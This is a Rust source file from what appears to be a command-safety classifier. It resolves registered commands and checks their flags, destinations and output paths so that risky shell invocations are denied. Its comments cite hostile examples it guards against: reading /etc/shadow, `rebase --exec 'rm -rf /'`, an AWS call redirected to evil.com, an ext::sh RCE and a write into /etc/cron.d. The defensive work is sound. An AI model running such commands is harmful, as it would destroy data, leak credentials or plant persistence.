safe_chains/registry/mod.rs
1mod build;
2mod custom;
3pub use custom::fuzz_load_config;
4mod dispatch;
5mod docs;
6mod policy;
7pub(crate) mod types;
8
9use std::collections::HashMap;
10use std::sync::LazyLock;
11
12use crate::parse::Token;
13use crate::verdict::Verdict;
14
15pub use build::{build_registry, load_toml};
16pub(crate) use custom::user_config_level;
17pub use dispatch::dispatch_spec;
18pub use types::{CommandSpec, OwnedPolicy};
19
20use types::DispatchKind;
21
22type HandlerFn = fn(&[Token]) -> Verdict;
23
24static CMD_HANDLERS: LazyLock<HashMap<&'static str, HandlerFn>> = LazyLock::new(crate::handlers::custom_cmd_handlers);
25
26static SUB_HANDLERS: LazyLock<HashMap<&'static str, HandlerFn>> = LazyLock::new(crate::handlers::custom_sub_handlers);
27
28static TOML_REGISTRY: LazyLock<HashMap<String, CommandSpec>> = LazyLock::new(|| include!(concat!(env!("OUT_DIR"), "/toml_includes.rs")));
29
30static CUSTOM_REGISTRY: LazyLock<HashMap<String, CommandSpec>> = LazyLock::new(|| {
31 let mut map = HashMap::new();
32 custom::apply_custom(&mut map);
33 map
34});
35
36pub fn toml_dispatch(tokens: &[Token]) -> Option<Verdict> {
37 let cmd = tokens[0].command_name();
38 TOML_REGISTRY.get(cmd).map(|spec| dispatch_spec(tokens, spec))
39}
40
41/// Looks up the command in the runtime custom registry (project-local
42/// `.safe-chains.toml`, then user-level `~/.config/safe-chains.toml`).
43/// A match here wins over the built-in hardcoded handlers, which is how
44/// an override of `gh` takes effect.
45pub fn custom_dispatch(tokens: &[Token]) -> Option<Verdict> {
46 let cmd = tokens[0].command_name();
47 CUSTOM_REGISTRY.get(cmd).map(|spec| dispatch_spec(tokens, spec))
48}
49
50/// The canonical command name `cmd` resolves to via the registry's alias map (`gcat` → `cat`,
51/// `glink` → `ln`). Returns `cmd` unchanged when it is already canonical or unknown, so callers
52/// can canonicalize unconditionally. This is what lets the engine's path-gate dispatch reach an
53/// aliased invocation: without it, `gcat /etc/shadow` misses every resolver and falls through to
54/// the (ungated) legacy classifier. Custom registry first (an override may rename), then TOML.
55pub fn canonical_name(cmd: &str) -> &str {
56 CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd)).map_or(cmd, |spec| spec.name.as_str())
57}
58
59/// The command's own declared path-argument gate (`[command.path_gate]`), if any — consulted by
60/// `pathgate::should_deny` when a command isn't in `pathgates.toml`, so a path-bearing flag gates
61/// from the command's own definition. `cmd` is already canonicalized by the caller.
62pub(crate) fn command_path_gate(cmd: &str) -> Option<&'static crate::pathgate::RoleSpec> {
63 CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd)).and_then(|spec| spec.path_gate.as_ref())
64}
65
66/// The command's declarative facet behavior (`[command.behavior]`), if any — the engine's
67/// non-legacy classification path and the ONLY thing `engine::resolve::resolve` consults (the
68/// hardcoded `RESOLVERS` table is gone; every facet-classified command declares behavior).
69/// `cmd` is already canonicalized by the caller.
70pub(crate) fn command_behavior(cmd: &str) -> Option<&'static crate::registry::types::BehaviorSpec> {
71 CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd)).and_then(|spec| spec.behavior.as_ref())
72}
73
74/// What `cmd`'s stdout can name, when that has been researched and declared (`[command.output]`).
75/// `None` — the default for every command — keeps a `$(cmd …)` unpinnable.
76pub(crate) fn command_output_locus(cmd: &str) -> Option<&'static crate::registry::types::OutputSpec> {
77 CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd)).and_then(|spec| spec.output.as_ref())
78}
79
80/// What the SUBCOMMAND in `words` prints, when that sub has declared it
81/// (`[command.sub.output]`), plus the arguments left after the sub path.
82///
83/// Separate from `command_output_locus` because for a multi-command tool the claim belongs to the
84/// sub, not the program: `git diff --name-only` prints worktree paths while `git log` prints prose.
85/// Expressing that command-level would mean an `invalidated_by` naming every OTHER subcommand — a
86/// denylist, which fails open the next time git grows one.
87///
88/// Descends nested subs to the deepest declaring node, the same walk `is_eval_safe_invocation`
89/// does, so a claim can sit on `<resource> <action>`. `None` when no sub on the path declares one,
90/// which leaves the caller to fall back to the command-level claim (and then to unpinnable).
91/// `canonical` must be the CANONICALIZED command name (`registry::canonical_name` of the token's
92/// command name), the same key `command_output_locus` is given. Keying on the raw first word
93/// instead silently dropped the claim for a path-spelled or aliased command: `/usr/bin/git diff
94/// --name-only` is a trusted spelling of a trusted tool, and it lost the claim while bare `git` kept
95/// it — one operation, two spellings, two answers.
96pub(crate) fn sub_output_locus<'a>(
97 canonical: &str,
98 args: &'a [String],
99) -> Option<(&'static crate::registry::types::OutputSpec, &'a [String])> {
100 let mut rest = args;
101 let spec = CUSTOM_REGISTRY.get(canonical).or_else(|| TOML_REGISTRY.get(canonical))?;
102 let mut kind = &spec.kind;
103 let mut found: Option<(&'static crate::registry::types::OutputSpec, &'a [String])> = None;
104 loop {
105 let subs = match kind {
106 DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => subs,
107 _ => return found,
108 };
109 let Some((arg, tail)) = rest.split_first() else { return found };
110 let Some(sub) = subs.iter().find(|s| s.name == *arg) else {
111 return found;
112 };
113 rest = tail;
114 // Deepest declaration wins. A shallower one is NOT inherited by a child that declares
115 // nothing: the claim is researched per node, and letting `<parent>`'s answer stand in for
116 // an unresearched `<parent> <child>` would be asserting something nobody checked. Reset so
117 // descending past a declaring node into a silent one falls back to unpinnable.
118 found = sub.output.as_ref().map(|o| (o, rest));
119 kind = &sub.kind;
120 }
121}
122
123/// The facet archetypes (`archetypes.toml`) the subcommand `tokens` resolve to — the Phase-1
124/// `profile = …` classification plus a capability for every present escalating `[[command.sub.flag]]`
125/// (`git push` → `[vcs-sync]`; `git push --force` → `[vcs-sync, remote-destroy-irreversible]`). The
126/// engine emits a Capability per name and the level algebra takes the max. Descends `Branching`/
127/// `Custom` subs to the DEEPEST profile-bearing sub (nested `<resource> <action>`). `None` when no
128/// matched sub declares a profile.
129pub(crate) fn sub_archetypes(tokens: &[Token]) -> Option<Vec<&'static str>> {
130 let cmd = canonical_name(tokens.first()?.command_name());
131 let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
132 let sub = walk_to_profiled_sub(&tokens[1..], &spec.kind)?;
133 let mut out = vec![sub.profile.as_deref()?];
134 for flag in &sub.flags {
135 if flag_escalates(tokens, flag) {
136 out.push(flag.classifies.as_str());
137 }
138 }
139 // The profile fixes the TIER; it must not also decide what is ADMISSIBLE. Without this the
140 // archetype path bypassed the flag allowlist entirely and any flag rode along on the base
141 // profile — `git rebase --exec 'rm -rf /'` classified as an ordinary rebase. `unclassified` is
142 // the sanctioned fail-closed marker: it resolves to no archetype, so the engine emits a worst
143 // capability and the invocation denies.
144 if presents_unlisted_flag(tokens, sub) {
145 out.push("unclassified");
146 }
147 Some(out)
148}
149
150/// Whether an invocation admitted by a `first_arg` GLOB carries a flag the family never declared.
151///
152/// The glob path used to allow on the strength of the first positional alone and never look at the
153/// remaining tokens, so `aws kms get-public-key --endpoint-url http://evil.com` classified as an
154/// ordinary read while redirecting an authenticated call to an arbitrary host. The verb claim
155/// (`get-*` means read) is sound and stays; the flags are what needed a list.
156///
157/// An UNDECLARED family (both lists empty) keeps the old permissive behavior — the 240-odd AWS
158/// service groups cannot be researched at once, and denying them wholesale would break every AWS
159/// read. `no_new_unresearched_first_arg_family` in `tests.rs` pins the un-migrated set so the pile
160/// cannot grow.
161///
162/// Non-flag tokens pass: some glob families take positionals (`kubectl get pods`), and the sensitive
163/// ones are already caught earlier by `credential_first_arg`.
164pub(super) fn glob_presents_unlisted_flag(
165 tokens: &[Token],
166 skip: usize,
167 standalone: &[String],
168 valued: &[String],
169 loopback_valued: &[String],
170) -> bool {
171 if standalone.is_empty() && valued.is_empty() && loopback_valued.is_empty() {
172 return false;
173 }
174 let known = |f: &str| standalone.iter().any(|a| a == f) || valued.iter().any(|a| a == f);
175 for (idx, t) in tokens.iter().enumerate().skip(skip) {
176 let s = t.as_str();
177 if s == "--" {
178 break;
179 }
180 if !s.starts_with('-') || s == "-" {
181 continue;
182 }
183 let head = s.split_once('=').map_or(s, |(f, _)| f);
184 // A loopback-gated flag is admitted only when its VALUE names this machine. `--endpoint-url
185 // http://localhost:8000` is a developer talking to their own service; the same flag pointed
186 // anywhere else redirects an authenticated request. A missing value denies — the flag is
187 // meaningless without one and guessing would be the fail-open direction.
188 if loopback_valued.iter().any(|a| a == head) {
189 let value = match s.split_once('=') {
190 Some((_, v)) => Some(v),
191 None => tokens.get(idx + 1).map(Token::as_str),
192 };
193 if value.is_some_and(crate::netloc::is_loopback) {
194 continue;
195 }
196 return true;
197 }
198 if known(head) {
199 continue;
200 }
201 if !s.starts_with("--") && s.len() > 2 && s[1..].chars().all(|c| known(&format!("-{c}"))) {
202 continue;
203 }
204 return true;
205 }
206 false
207}
208
209/// Whether `tokens` carry a flag the profiled `sub` does not declare. Mirrors the legacy flag walk:
210/// `--long` matched whole or as `--long=value`, single-dash tokens split into clustered shorts, `--`
211/// ends the flag region. A sub that declares NO flags at all is treated as "not yet enumerated"
212/// rather than "nothing permitted", so this tightens only where a list exists — the global
213/// enforcement of the empty case is staged separately (see the backfill guard).
214fn presents_unlisted_flag(tokens: &[Token], sub: &types::SubSpec) -> bool {
215 // A flag declared as an escalating `[[command.sub.flag]]` IS declared — it just carries a
216 // capability rather than sitting on the plain allowlist. Omitting it here would deny the very
217 // invocations the escalation exists to classify (`npm ci --ignore-scripts`, whose whole point is
218 // that its PRESENCE is the safe form).
219 let known = |f: &str| {
220 sub.allowed_standalone.iter().any(|a| a == f)
221 || sub.allowed_valued.iter().any(|a| a == f)
222 || sub.flags.iter().any(|d| d.name == f)
223 // An output-path flag is declared too — it names the write destination the engine
224 // path-gates (`supabase db dump -f dump.sql`), so it is admissible by construction.
225 || sub.output_path_flags.iter().any(|a| a == f)
226 || sub.destination_flag.as_deref() == Some(f)
227 };
228 for (idx, t) in tokens.iter().enumerate().skip(1) {
229 let s = t.as_str();
230 if s == "--" {
231 break;
232 }
233 if !s.starts_with('-') || s == "-" {
234 continue;
235 }
236 let head = s.split_once('=').map_or(s, |(f, _)| f);
237 // An endpoint flag is admitted only when it names THIS machine — see the identical rule on
238 // the glob path in `glob_presents_unlisted_flag`.
239 if sub.loopback_valued.iter().any(|a| a == head) {
240 let value = match s.split_once('=') {
241 Some((_, v)) => Some(v),
242 None => tokens.get(idx + 1).map(Token::as_str),
243 };
244 if value.is_some_and(crate::netloc::is_loopback) {
245 continue;
246 }
247 return true;
248 }
249 if known(head) {
250 continue;
251 }
252 // An explicitly declared tolerance keeps the sub open for the shape it names — the
253 // established way to say "this surface is genuinely unbounded" (a cloud API's per-service
254 // options). Declared in the TOML, so it is reviewable, unlike the silent default it replaces.
255 use crate::policy::UnknownTolerance as U;
256 let tolerated = if s.starts_with("--") {
257 matches!(sub.allowed_unknown, U::Long | U::Both)
258 } else {
259 matches!(sub.allowed_unknown, U::Short | U::Both)
260 };
261 if tolerated {
262 continue;
263 }
264 // A single-dash multi-char token may be clustered shorts (`-abc` = `-a -b -c`).
265 if !s.starts_with("--") && s.len() > 2 && s[1..].chars().all(|c| known(&format!("-{c}"))) {
266 continue;
267 }
268 return true;
269 }
270 false
271}
272
273/// The facet archetypes a flat command's PRESENT top-level classifying flags (`[[command.flag]]`)
274/// resolve to — the command-level analog of `sub_archetypes` for a flag-triggered mode (`age -d` →
275/// `[decrypt-read]`, `sops --decrypt` → `[decrypt-read]`). `None` when the command declares none or
276/// none are present, so `engine::resolve` falls through to the command's ordinary resolution (the
277/// bare/encrypt form of a bimodal tool). Uses the same `flag_escalates` predicate as the sub flags.
278pub(crate) fn command_flag_archetypes(tokens: &[Token]) -> Option<Vec<&'static str>> {
279 let cmd = canonical_name(tokens.first()?.command_name());
280 let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
281 let present: Vec<&'static str> = spec
282 .archetype_flags
283 .iter()
284 .filter(|f| flag_escalates(tokens, f))
285 .map(|f| f.classifies.as_str())
286 .collect();
287 (!present.is_empty()).then_some(present)
288}
289
290/// Whether `flag` escalates given `tokens`. A bare flag (no `value_prefix`) escalates on presence; a
291/// value-matched flag escalates only when its VALUE starts with the prefix — the space form
292/// (`-c core.sshCommand=…`) or the glued form (`--flag=core.sshCommand=…`). Scans the whole line;
293/// an escalator counts wherever it sits.
294fn flag_escalates(tokens: &[Token], flag: &types::FlagProvenance) -> bool {
295 if flag.when_absent {
296 // A SAFETY flag whose ABSENCE is the escalation (`npm ci` without `--ignore-scripts`).
297 // It must be AFFIRMATIVELY set — `--ignore-scripts=false` / `--no-ignore-scripts` re-ENABLE
298 // scripts, so they escalate exactly like the flag being missing (a fail-open otherwise).
299 return !flag_is_affirmatively_set(tokens, &flag.name);
300 }
301 let Some(prefix) = flag.value_prefix.as_deref() else {
302 return flag_present(tokens, &flag.name);
303 };
304 // space form: `NAME VALUE`, VALUE starting with the prefix
305 tokens.windows(2).any(|w| w[0].as_str() == flag.name && w[1].as_str().starts_with(prefix))
306 // glued form: `NAME=VALUE`, VALUE starting with the prefix
307 || tokens.iter().any(|t| {
308 t.as_str()
309 .strip_prefix(flag.name.as_str())
310 .and_then(|r| r.strip_prefix('='))
311 .is_some_and(|v| v.starts_with(prefix))
312 })
313}
314
315/// Whether a boolean flag is AFFIRMATIVELY enabled: bare `--flag`, or `--flag=<truthy>`. A
316/// `--flag=false/0/no/off` or a `--no-flag` DISABLES it (returns false), as does absence. Last
317/// occurrence wins, the CLI convention. Used by the `when_absent` escalator so a re-enabling spelling
318/// can't masquerade as the safety flag being set.
319fn flag_is_affirmatively_set(tokens: &[Token], flag: &str) -> bool {
320 let neg = format!("--no-{}", flag.trim_start_matches('-'));
321 let mut set = false;
322 for t in tokens {
323 let s = t.as_str();
324 if s == flag {
325 set = true;
326 } else if let Some(v) = s.strip_prefix(flag).and_then(|r| r.strip_prefix('=')) {
327 set = !matches!(v.to_ascii_lowercase().as_str(), "false" | "0" | "no" | "off" | "");
328 } else if s == neg {
329 set = false;
330 }
331 }
332 set
333}
334
335fn walk_to_profiled_sub(remaining: &[Token], kind: &'static DispatchKind) -> Option<&'static types::SubSpec> {
336 let subs = match kind {
337 DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => subs,
338 _ => return None,
339 };
340 let arg = remaining.first()?;
341 let sub = subs.iter().find(|s| s.name == arg.as_str())?;
342 // Deepest profiled match wins: a nested action's profile overrides its resource sub's.
343 walk_to_profiled_sub(&remaining[1..], &sub.kind).or_else(|| sub.profile.is_some().then_some(sub))
344}
345
346/// Like `walk_to_profiled_sub`, but also returns the tokens AFTER the matched sub's name — the
347/// operands the engine still needs to inspect (the destination positional, for `network_destination`).
348fn walk_to_profiled_sub_rest<'a>(remaining: &'a [Token], kind: &'static DispatchKind) -> Option<(&'static types::SubSpec, &'a [Token])> {
349 let subs = match kind {
350 DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => subs,
351 _ => return None,
352 };
353 let arg = remaining.first()?;
354 let sub = subs.iter().find(|s| s.name == arg.as_str())?;
355 let rest = &remaining[1..];
356 walk_to_profiled_sub_rest(rest, &sub.kind).or_else(|| sub.profile.is_some().then_some((sub, rest)))
357}
358
359/// For a profiled sub declaring `network_destination`, the first positional after it — the send
360/// TARGET (`git push origin` → `origin`; bare `git push` → `None`, the configured default). `None`
361/// (outer) when the resolved sub does not classify a destination. The engine maps the token's
362/// PROVENANCE onto `locus.provenance` (`resolve::destination_provenance`).
363///
364/// "First non-`-` token" is a heuristic: a VALUED flag's value sitting before the target
365/// (`git push -o $VAR origin`) is read as the destination. That only ever misreads CONSERVATIVELY —
366/// a stray value classifies to `literal`/`opaque` (equal-or-stricter than the real `established`
367/// target), never looser — so it can over-deny a rare form but never under-approve.
368pub(crate) fn sub_destination_token(tokens: &[Token]) -> Option<Option<&str>> {
369 let cmd = canonical_name(tokens.first()?.command_name());
370 let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
371 let (sub, rest) = walk_to_profiled_sub_rest(&tokens[1..], &spec.kind)?;
372 if !sub.network_destination {
373 return None;
374 }
375 // A destination-carrying flag (`git push --repo=<dest>`) OVERRIDES the positional — else a
376 // `--repo=ext::sh` RCE would slip past a benign positional (`origin`). Scanned across the whole
377 // line since the flag may sit anywhere.
378 if let Some(flag) = sub.destination_flag.as_deref()
379 && let Some(v) = flag_value(tokens, flag)
380 {
381 return Some(Some(v));
382 }
383 Some(rest.iter().map(Token::as_str).find(|t| !t.starts_with('-')))
384}
385
386/// A flag's value, but only from the FLAG REGION — tokens after a `--` terminator are positionals,
387/// not flags.
388///
389/// Used where finding a value makes the classification MORE PERMISSIVE, which is where a
390/// disagreement with the tool costs something. `presents_unlisted_flag` already stops at `--`, so
391/// without this the two layers disagreed: `put-item ... -- --endpoint-url http://localhost:8000`
392/// passed admission (the walk never saw the flag) AND localized (the value lookup did), classifying
393/// a call to the real service as a write to this machine.
394///
395/// The restrictive lookups deliberately do NOT use this. For `output_path_flags`, finding a path
396/// ADDS a path-gated write capability, so scanning past `--` errs toward more gating; switching
397/// them here would relax them. Each direction fails closed, which is why the asymmetry stands.
398fn flag_value_in_flag_region<'a>(tokens: &'a [Token], flag: &str) -> Option<&'a str> {
399 let end = tokens.iter().position(|t| t.as_str() == "--").unwrap_or(tokens.len());
400 flag_value(&tokens[..end], flag)
401}
402
403/// A flag's value, glued (`--repo=VALUE`) or space-separated (`--repo VALUE`); `None` if absent.
404/// Scans the WHOLE token list — see `flag_value_in_flag_region` for the `--`-aware variant and why
405/// only the permissive callers use it.
406fn flag_value<'a>(tokens: &'a [Token], flag: &str) -> Option<&'a str> {
407 if let Some(v) = tokens.iter().find_map(|t| t.as_str().strip_prefix(flag).and_then(|r| r.strip_prefix('='))) {
408 return Some(v);
409 }
410 tokens.windows(2).find(|w| w[0].as_str() == flag).map(|w| w[1].as_str())
411}
412
413/// For a profiled `data-export` sub declaring `output_path_flags`, the output-file PATH one of them
414/// carries — or `None` when the export streams to stdout (no output flag present). The engine adds a
415/// path-gated write capability at this path's locus, so a dump to `/etc/cron.d/job` gates on locus
416/// exactly as a redirect there would. `None` (outer) when the resolved sub declares none.
417///
418/// Values are matched in every spelling the flag admits: `--file=X`, `--file X`, `-f X`, `-f=X`, and
419/// the glued short form `-fX` — the last mustn't be a bypass (`-f/etc/cron.d/job` reaching a system
420/// path would otherwise drop the write cap and auto-approve). A bare `-f` with no value is a
421/// malformed invocation the tool itself rejects, so a `None` there is harmless.
422/// Whether this invocation's declared endpoint flag names THIS machine, so `resolve` should clear
423/// the facets the destination determines. `false` covers "no endpoint flag", "points elsewhere",
424/// and "the sub never opted in".
425///
426/// Returning `false` for a non-loopback value is what keeps this independent of the admission
427/// check: even if `presents_unlisted_flag` were bypassed, the remote facets would still be the ones
428/// that classify.
429pub(crate) fn sub_loopback_localizes(tokens: &[Token]) -> bool {
430 let Some(cmd) = tokens.first().map(|t| canonical_name(t.command_name())) else {
431 return false;
432 };
433 let Some(spec) = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd)) else {
434 return false;
435 };
436 let Some((sub, _rest)) = walk_to_profiled_sub_rest(&tokens[1..], &spec.kind) else {
437 return false;
438 };
439 sub.loopback_effect == types::LoopbackEffect::Localizes
440 && sub
441 .loopback_valued
442 .iter()
443 .filter_map(|f| flag_value_in_flag_region(tokens, f))
444 .any(crate::netloc::is_loopback)
445}
446
447pub(crate) fn sub_output_path_token(tokens: &[Token]) -> Option<&str> {
448 let cmd = canonical_name(tokens.first()?.command_name());
449 let spec = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd))?;
450 let (sub, _rest) = walk_to_profiled_sub_rest(&tokens[1..], &spec.kind)?;
451 sub.output_path_flags.iter().find_map(|f| output_flag_value(tokens, f))
452}
453
454/// `flag_value`, plus the glued short form `-fVALUE` (a two-char `-x` flag with the value fused on).
455/// Kept separate from `flag_value` because a glued short is only unambiguous for the single-letter
456/// output flags this classifies (`-f`, `-r`); the destination-flag path (`--repo`) never needs it.
457fn output_flag_value<'a>(tokens: &'a [Token], flag: &'a str) -> Option<&'a str> {
458 if let Some(v) = flag_value(tokens, flag) {
459 return Some(v);
460 }
461 if flag.len() == 2 && flag.starts_with('-') && !flag.starts_with("--") {
462 return tokens.iter().find_map(|t| t.as_str().strip_prefix(flag).filter(|r| !r.is_empty()));
463 }
464 None
465}
466
467/// Whether `flag` appears anywhere in `tokens` — bare (`--force`), glued (`--flag=v`), or, for a SHORT
468/// single-char flag (`-d`), hidden inside a short CLUSTER (`-da`, `-vd`) for tools that combine short
469/// options. A flag is an escalator wherever it sits, so this scans the whole line. The flag ALLOWLIST
470/// cluster-expands, so this must too — otherwise a cluster admits the command while the classifier
471/// misses the dangerous flag inside it (a classifier/allowlist disagreement; a live bypass for any
472/// clustering tool with a classifying short flag).
473fn flag_present(tokens: &[Token], flag: &str) -> bool {
474 // A `-X` short flag (exactly two chars, leading `-`) can appear in a cluster; `--long` cannot.
475 let short_char = (flag.len() == 2 && flag.as_bytes()[0] == b'-').then(|| flag.as_bytes()[1]);
476 tokens.iter().any(|t| {
477 let s = t.as_str();
478 if s == flag || s.strip_prefix(flag).is_some_and(|rest| rest.starts_with('=')) {
479 return true;
480 }
481 // Short cluster `-<letters>` (single dash, not `--`): scan only the boolean-letter run BEFORE
482 // any `=value`, so a glued value (`-o=decrypted`) can't spuriously match the flag char.
483 matches!(short_char, Some(c)
484 if s.len() > 1 && s.as_bytes()[0] == b'-' && s.as_bytes()[1] != b'-'
485 && s[1..].split('=').next().is_some_and(|run| run.as_bytes().contains(&c)))
486 })
487}
488
489pub fn toml_command_names() -> Vec<&'static str> {
490 TOML_REGISTRY.keys().map(|k| k.as_str()).collect()
491}
492
493/// EVERY declared stdout claim in the registry, command-level and sub-level alike, each paired with
494/// the invocation scope that carries it (`"fd"`, `"git diff"`).
495///
496/// The structural guards over `[command.output]` enumerate this rather than `toml_command_names`,
497/// so a sub-scoped claim is held to the same bar as a command-scoped one. Enumerating only commands
498/// would have let every `[command.sub.output]` ship unprobed — the claim is transitive (it widens
499/// whatever consumes the substitution), so an unguarded one is the worst kind to add.
500#[cfg(test)]
501pub(crate) fn output_claims() -> Vec<(String, &'static crate::registry::types::OutputSpec)> {
502 fn walk(prefix: &str, kind: &'static DispatchKind, out: &mut Vec<(String, &'static crate::registry::types::OutputSpec)>) {
503 let subs = match kind {
504 DispatchKind::Branching { subs, .. } | DispatchKind::Custom { subs, .. } => subs,
505 _ => return,
506 };
507 for sub in subs {
508 let scope = format!("{prefix} {}", sub.name);
509 if let Some(o) = sub.output.as_ref() {
510 out.push((scope.clone(), o));
511 }
512 walk(&scope, &sub.kind, out);
513 }
514 }
515
516 let mut out = Vec::new();
517 for (name, spec) in TOML_REGISTRY.iter() {
518 if let Some(o) = spec.output.as_ref() {
519 out.push((name.clone(), o));
520 }
521 walk(name, &spec.kind, &mut out);
522 }
523 out
524}
525
526/// Every command's canonical name with its declared `examples_safe` / `examples_denied`
527/// — the corpus the engine's never-looser corpus gate runs against.
528#[cfg(test)]
529pub(crate) fn corpus_examples() -> Vec<(&'static str, &'static [String], &'static [String])> {
530 TOML_REGISTRY
531 .iter()
532 .map(|(name, spec)| (name.as_str(), spec.examples_safe.as_slice(), spec.examples_denied.as_slice()))
533 .collect()
534}
535
536/// Look up `cmd_name`'s TOML-declared subs (set via `[[command.sub]]`
537/// blocks alongside `handler = "..."`) and dispatch the one whose name
538/// matches `tokens[1]`. Returns `None` if no sub matched, so the
539/// handler can fall through to its fallback grammar (or deny).
540pub fn try_sub_dispatch(cmd_name: &str, tokens: &[Token]) -> Option<Verdict> {
541 let spec = handler_spec(cmd_name)?;
542 let DispatchKind::Custom { subs, .. } = &spec.kind else {
543 return None;
544 };
545 let arg = tokens.get(1)?.as_str();
546 let sub = subs.iter().find(|s| s.name == arg)?;
547 Some(dispatch::dispatch_sub_kind(&tokens[1..], &sub.kind))
548}
549
550/// Apply `cmd_name`'s TOML-declared `[command.fallback]` grammar.
551/// Returns `None` if no fallback is declared.
552pub fn try_fallback_grammar(cmd_name: &str, tokens: &[Token]) -> Option<Verdict> {
553 let spec = handler_spec(cmd_name)?;
554 let DispatchKind::Custom { fallback, .. } = &spec.kind else {
555 return None;
556 };
557 let f = fallback.as_ref()?;
558 Some(dispatch::dispatch_fallback(tokens, f))
559}
560
561/// The flag vocabulary a handler-dispatched command keeps in `[command.fallback]`, for handlers
562/// that walk their own grammar and only need the SETS.
563///
564/// find is the case this exists for: its expression walk is genuine logic (a valued primary
565/// consumes its value, `-newer*` matches by prefix, `-exec`/`-delete` delegate against the
566/// traversal bases), but the two vocabularies it consults are flag lists, and flag lists belong in
567/// TOML. Returning the slices rather than a verdict keeps the walk in the handler where it belongs
568/// while the DATA lives in one place — which is the whole point: there is no second copy to drift
569/// from, because the `WordSet` constants were deleted rather than kept in sync.
570///
571/// Linear scan, and deliberately so: `impl FlagSet for [String]` is `iter().any(..)`, so unlike
572/// `WordSet` there is no sorted-order precondition to preserve. Ordering travels with the data
573/// structure, not the data.
574pub(crate) fn fallback_flag_sets(cmd_name: &str) -> Option<(&'static [String], &'static [String])> {
575 let spec = handler_spec(cmd_name)?;
576 let DispatchKind::Custom { fallback, .. } = &spec.kind else {
577 return None;
578 };
579 let f = fallback.as_ref()?;
580 Some((f.policy.standalone.as_slice(), f.policy.valued.as_slice()))
581}
582
583/// Dispatch `tokens` against `cmd_name`'s `[[command.matrix]]`
584/// blocks. Looks at `tokens[1]` (parent) and `tokens[2]` (action),
585/// finds the first matrix whose `parents` contains the parent and
586/// whose `actions` map contains the action, then validates
587/// `tokens[2..]` against the named policy (and a guard flag if the
588/// matrix entry declared one). Returns `None` if no matrix matched —
589/// the handler can then fall through to its remaining special cases
590/// or deny.
591pub fn try_matrix_dispatch(cmd_name: &str, tokens: &[Token]) -> Option<Verdict> {
592 let spec = handler_spec(cmd_name)?;
593 let DispatchKind::Custom { matrices, handler_policies, .. } = &spec.kind else {
594 return None;
595 };
596 let parent = tokens.get(1)?.as_str();
597 let action = tokens.get(2)?.as_str();
598 for matrix in matrices {
599 if !matrix.parents.iter().any(|p| p == parent) {
600 continue;
601 }
602 let Some(action_spec) = matrix.actions.get(action) else {
603 continue;
604 };
605 if let Some(long) = action_spec.guard.as_deref()
606 && !crate::parse::has_flag(&tokens[2..], action_spec.guard_short.as_deref(), Some(long))
607 {
608 return Some(Verdict::Denied);
609 }
610 let Some(policy) = handler_policies.get(&action_spec.policy_key) else {
611 return Some(Verdict::Denied);
612 };
613 return Some(dispatch::dispatch_matrix_action(&tokens[2..], policy, matrix.level));
614 }
615 None
616}
617
618/// Validate `tokens` against `cmd_name`'s named flag policy declared
619/// in a `[command.handler_policy.KEY]` block. Returns `false` if no
620/// such policy is declared or the tokens fail it. Used by handlers
621/// whose dispatch logic genuinely can't move to TOML (e.g. gh's
622/// sub × action matrix) but whose per-policy WordSets should live
623/// in TOML rather than as Rust `WordSet` constants.
624pub fn check_handler_policy(cmd_name: &str, key: &str, tokens: &[Token]) -> bool {
625 let Some(spec) = handler_spec(cmd_name) else {
626 return false;
627 };
628 let DispatchKind::Custom { handler_policies, .. } = &spec.kind else {
629 return false;
630 };
631 let Some(policy) = handler_policies.get(key) else {
632 return false;
633 };
634 dispatch::check_handler_policy_owned(tokens, policy)
635}
636
637fn handler_spec(cmd_name: &str) -> Option<&'static CommandSpec> {
638 CUSTOM_REGISTRY.get(cmd_name).or_else(|| TOML_REGISTRY.get(cmd_name))
639}
640
641/// Returns true iff this invocation is tagged eval-safe — meaning its
642/// stdout is documented shell-init code that can safely be substituted
643/// inside `eval "$(...)"`.
644///
645/// The walker descends through `DispatchKind::Branching` AND
646/// `DispatchKind::Custom` matching subs token-by-token (handler-based
647/// commands such as `gh` can have tagged TOML-declared subs even though
648/// the handler does the actual dispatch). The leaf is the deepest matched
649/// node (where no further sub matches). `eval_safe` is checked only at
650/// the leaf — ancestor tags do NOT propagate. After confirming the leaf
651/// is tagged, every `-`-prefixed token in the remaining tail must appear
652/// in `eval_safe_flags`; positionals are unrestricted.
653///
654/// Tagged nodes are vetted manually per-command (see SAMPLE.toml). This
655/// function does not validate that `tokens` is syntactically allowed —
656/// callers must have already passed it through the regular dispatcher.
657pub fn is_eval_safe_invocation(tokens: &[Token]) -> bool {
658 if tokens.is_empty() {
659 return false;
660 }
661 let cmd = tokens[0].command_name();
662 let Some(spec) = CUSTOM_REGISTRY.get(cmd).or_else(|| TOML_REGISTRY.get(cmd)) else {
663 return false;
664 };
665 is_eval_safe_for_spec(spec, tokens)
666}
667
668/// Spec-local variant used by tests so they can build a `CommandSpec`
669/// via `load_toml` and exercise the walker without touching the global
670/// `TOML_REGISTRY`.
671pub(crate) fn is_eval_safe_for_spec(spec: &CommandSpec, tokens: &[Token]) -> bool {
672 if tokens.is_empty() {
673 return false;
674 }
675 walk_to_eval_safe_leaf(
676 &tokens[1..],
677 &spec.kind,
678 spec.eval_safe,
679 &spec.eval_safe_flags,
680 &spec.eval_safe_flag_values,
681 &spec.eval_safe_required_flags,
682 )
683}
684
685fn walk_to_eval_safe_leaf(
686 remaining: &[Token],
687 kind: &DispatchKind,
688 eval_safe: bool,
689 eval_safe_flags: &[String],
690 eval_safe_flag_values: &std::collections::HashMap<String, Vec<String>>,
691 eval_safe_required_flags: &[String],
692) -> bool {
693 let subs_opt = match kind {
